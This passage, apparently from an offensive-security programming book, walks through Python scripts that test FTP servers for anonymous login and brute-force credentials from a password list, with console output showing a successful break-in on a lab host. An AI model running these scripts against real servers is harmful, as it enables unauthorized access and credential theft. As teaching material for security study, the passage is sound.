order to determine this Boolean, the function attempts to create an FTP connection with anonymous credentials. If it succeeds, it returns the value “True”. If, in the process of creating a connection, the function throws an exception it returns it as “False”.
import ftplib
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login(‘anonymous’, ‘
[email protected]’)
print ‘\n[∗] ’ + str(hostname) +\
‘ FTP Anonymous Logon Succeeded.’
ftp.quit()
return True
except Exception, e:
print ‘\n[-] ’ + str(hostname) +\
‘ FTP Anonymous Logon Failed.’
return False
host = ‘192.168.95.179’
anonLogin(host)
Running the code, we see a vulnerable target with anonymous FTP enabled.
attacker# python anonLogin.py
[∗] 192.168.95.179 FTP Anonymous Logon Succeeded.
Using Ftplib to Brute Force FTP User Credentials
While anonymous access grants one way to enter into systems, attackers also have been quite successful with using stolen credentials to gain access to legitimate FTP servers. FTP Client programs, such as FileZilla, often store passwords in plaintext configuration files ( Huang, 2011 ). Storing passwords in cleartext in a default location allows custom malware to quickly steal credentials. Security experts have found FTP stealing credentials as recent malware. Furthermore, HD Moore even included the get_filezilla_creds.rb script in a recent Metasploitrelease allowing users to quickly scan for FTP credentials after exploiting a target. Imagine a text file of a username/password combination we wanted to brute force through. For the purpose of this script, imagine the username/password combinations stored in a flat text file.
administrator:password
admin:12345
root:secret
guest:guest
root:toor
We can now expand upon our early anonLogin() function to build one called bruteLogin(). This function will take a host and password file as input and return the credentials that allow access to the host. Notice the function iterates through each line of the file, splitting each line at the colon. The function then takes the username and password and attempts to login to the FTP server. If it succeeds, it returns a tuple of a username, password. If it fails, it passes through the exception and continues to the next line. If the function exhausted all lines and failed to successfully login, it returns a tuple of None,None.
import ftplib
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, ‘r’)
for line in pF.readlines():
userName = line.split(‘:’)[0]
passWord = line.split(‘:’)[1].strip(‘\r’).strip(‘\n’)
print “[+] Trying: “+userName+”/”+passWord
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print ‘\n[∗] ’ + str(hostname) +\
‘ FTP Logon Succeeded: ’+userName+“/”+passWord
ftp.quit()
return (userName, passWord)
except Exception, e:
pass
print ‘\n[-] Could not brute force FTP credentials.’
return (None, None)
host = ‘192.168.95.179’
passwdFile = ‘userpass.txt’
bruteLogin(host, passwdFile)
Iterating through the list of user/password combinations, we finally find the account guest with the password guest works.
attacker# python bruteLogin.py
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[∗] 192.168.95.179 FTP Logon Succeeded: guest/guest
Searching for Web Pages on the FTP Server
With credentials on the FTP server, we must now test if the server also provides web access. In order to test this, we will first list the contents of the FTP server’s directory and search for default web pages. The function returnDefault() takes an FTP connection as the input and returns an array of default pages it finds. It does this by issuing